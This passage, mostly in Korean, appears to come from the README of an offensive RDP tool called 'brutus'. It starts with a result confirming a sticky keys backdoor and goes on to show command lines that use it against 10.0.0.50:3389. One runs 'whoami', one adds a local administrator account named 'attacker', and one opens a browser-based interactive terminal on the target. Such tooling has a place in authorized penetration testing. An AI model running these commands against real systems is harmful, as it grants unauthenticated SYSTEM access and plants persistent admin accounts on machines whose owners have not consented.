[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.
```
### 백도어를 통한 명령 실행 (`--exec`)
백도어가 탐지되면, 사전 인증 명령 프롬프트를 통해 원격 시스템에서 명령을 실행합니다:
```bash
# Execute a single command via the backdoor
brutus logon --target 10.0.0.50:3389 --exec "whoami"
# Add a local admin account
brutus logon --target 10.0.0.50:3389 \
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
```
이것은 연결하고, 백도어를 트리거하고, 명령을 입력하고, Enter를 누르고, 출력을 기다린 다음, 결과의 PNG 스크린샷을 저장합니다.
### 대화형 웹 터미널 (`--web`)
백도어 명령 프롬프트와 실시간으로 상호작용할 수 있는 브라우저 기반 RDP 뷰어를 실행합니다:
```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web
```
이것은 다음과 같은 기능을 갖춘 로컬 HTTP 서버를 시작합니다:
- **실시간 화면 스트리밍** 약 10 FPS (WebSocket을 통한 JPEG)
- **전체 키보드 포워딩** (브라우저 KeyboardEvent에서 매핑된 PS/2 스캔코드)
---
[Read more](https://github.com/praetorian-inc/brutus)